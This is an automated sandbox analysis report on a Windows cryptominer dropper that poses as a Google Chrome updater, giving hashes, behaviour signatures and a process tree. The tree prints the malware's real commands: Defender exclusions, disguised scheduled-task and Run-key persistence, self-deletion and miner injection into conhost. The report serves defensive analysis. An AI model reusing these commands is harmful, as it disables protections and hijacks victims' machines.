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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1547s -
max time network
1787s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2156 created 1200 2156 XJEzW6M7WvHaF3EX.exe 22 PID 2156 created 1200 2156 XJEzW6M7WvHaF3EX.exe 22 PID 2156 created 1200 2156 XJEzW6M7WvHaF3EX.exe 22 PID 2156 created 1200 2156 XJEzW6M7WvHaF3EX.exe 22 PID 2948 created 1200 2948 updater.exe 22 PID 2948 created 1200 2948 updater.exe 22 PID 2948 created 1200 2948 updater.exe 22 PID 2948 created 1200 2948 updater.exe 22 PID 1852 created 1200 1852 conhost.exe 22 PID 2948 created 1200 2948 updater.exe 22 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral27/memory/2296-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2296-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2568 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2948 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1348 taskeng.exe -
resource yara_rule behavioral27/memory/2296-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2296-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2948 set thread context of 1852 2948 updater.exe 48 PID 2948 set thread context of 2296 2948 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2728 schtasks.exe 2872 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 692 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 8083f88df350da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2156 XJEzW6M7WvHaF3EX.exe 2156 XJEzW6M7WvHaF3EX.exe 2404 powershell.exe 2156 XJEzW6M7WvHaF3EX.exe 2156 XJEzW6M7WvHaF3EX.exe 2688 powershell.exe 2156 XJEzW6M7WvHaF3EX.exe 2156 XJEzW6M7WvHaF3EX.exe 2156 XJEzW6M7WvHaF3EX.exe 2156 XJEzW6M7WvHaF3EX.exe 2560 powershell.exe 2948 updater.exe 2948 updater.exe 2440 powershell.exe 2948 updater.exe 2948 updater.exe 456 powershell.exe 2948 updater.exe 2948 updater.exe 2948 updater.exe 2948 updater.exe 1852 conhost.exe 1852 conhost.exe 2948 updater.exe 2948 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2688 powershell.exe Token: SeDebugPrivilege 2560 powershell.exe Token: SeDebugPrivilege 2440 powershell.exe Token: SeDebugPrivilege 456 powershell.exe Token: SeDebugPrivilege 2948 updater.exe Token: SeAssignPrimaryTokenPrivilege 692 WMIC.exe Token: SeIncreaseQuotaPrivilege 692 WMIC.exe Token: SeSecurityPrivilege 692 WMIC.exe Token: SeTakeOwnershipPrivilege 692 WMIC.exe Token: SeLoadDriverPrivilege 692 WMIC.exe Token: SeSystemtimePrivilege 692 WMIC.exe Token: SeBackupPrivilege 692 WMIC.exe Token: SeRestorePrivilege 692 WMIC.exe Token: SeShutdownPrivilege 692 WMIC.exe Token: SeSystemEnvironmentPrivilege 692 WMIC.exe Token: SeUndockPrivilege 692 WMIC.exe Token: SeManageVolumePrivilege 692 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 692 WMIC.exe Token: SeIncreaseQuotaPrivilege 692 WMIC.exe Token: SeSecurityPrivilege 692 WMIC.exe Token: SeTakeOwnershipPrivilege 692 WMIC.exe Token: SeLoadDriverPrivilege 692 WMIC.exe Token: SeSystemtimePrivilege 692 WMIC.exe Token: SeBackupPrivilege 692 WMIC.exe Token: SeRestorePrivilege 692 WMIC.exe Token: SeShutdownPrivilege 692 WMIC.exe Token: SeSystemEnvironmentPrivilege 692 WMIC.exe Token: SeUndockPrivilege 692 WMIC.exe Token: SeManageVolumePrivilege 692 WMIC.exe Token: SeLockMemoryPrivilege 2296 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2688 wrote to memory of 2728 2688 powershell.exe 32 PID 2688 wrote to memory of 2728 2688 powershell.exe 32 PID 2688 wrote to memory of 2728 2688 powershell.exe 32 PID 2568 wrote to memory of 1260 2568 cmd.exe 37 PID 2568 wrote to memory of 1260 2568 cmd.exe 37 PID 2568 wrote to memory of 1260 2568 cmd.exe 37 PID 2560 wrote to memory of 2540 2560 powershell.exe 38 PID 2560 wrote to memory of 2540 2560 powershell.exe 38 PID 2560 wrote to memory of 2540 2560 powershell.exe 38 PID 1348 wrote to memory of 2948 1348 taskeng.exe 40 PID 1348 wrote to memory of 2948 1348 taskeng.exe 40 PID 1348 wrote to memory of 2948 1348 taskeng.exe 40 PID 456 wrote to memory of 2872 456 powershell.exe 47 PID 456 wrote to memory of 2872 456 powershell.exe 47 PID 456 wrote to memory of 2872 456 powershell.exe 47 PID 2948 wrote to memory of 1852 2948 updater.exe 48 PID 1532 wrote to memory of 692 1532 cmd.exe 50 PID 1532 wrote to memory of 692 1532 cmd.exe 50 PID 1532 wrote to memory of 692 1532 cmd.exe 50 PID 2948 wrote to memory of 2296 2948 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1200
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2156
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2728
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1260
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2872
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1852
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:240
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1532
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2296
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C:\Windows\system32\taskeng.exetaskeng.exe {95367194-29E9-468D-999C-C49C2EE51F63} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2948
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:692
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
496KB
MD54e6a2efdb412bcc2cbc50e08ab500abf
SHA143a7de6b42f25217c8193f23ee6668f5a7c043ba
SHA2568afaff48d92a8f013cc679d82ae34e1bd76a14b974785b1a26deea3516117635
SHA51214cf27ea0e843f472b052c6619940de9d882888d1232d4fe0cf2afe24c35496d23c9c7a751589e08ca825fcb4fb0d32c208288739357029360bbc4501560c15b
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VIGNDKSW322A9B8YV3VN.temp
Filesize7KB
MD5d59ccbc7fcacebd6e8191413ffc345b0
SHA16942dec7bbadda355294224a5f213cf979e9b3e7
SHA256c8f15cf5dc23a98696260fdc65f4eff27e7fac9195186c6302368df267f14c14
SHA512eaad40a24f5e089b1e59026e7c2dafa64684efb0de205d0b8d9e2ff1f6344d2b91f750251f722b101c39a3aa3d03d7c044cec55605735c6840815522c15f1085
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Filesize
345KB
MD581bf4b4c33b7040de43109a811d8ddbd
SHA142bfb20572aca50d1539778db90d7552014609d5
SHA2562ffcb8b7ec45724a791f6bef5abcfc760ce12c1a925c32dabbab6332ca0bcdcd
SHA51237dcf9ba47839f8e2e929d7707ce5cf3652969e0fe3c4ac5e80971ebd4ade2bf54044b09bf71746341e5350a79b5d18409c0da31d79b5f3ed4750aa02b3e91e1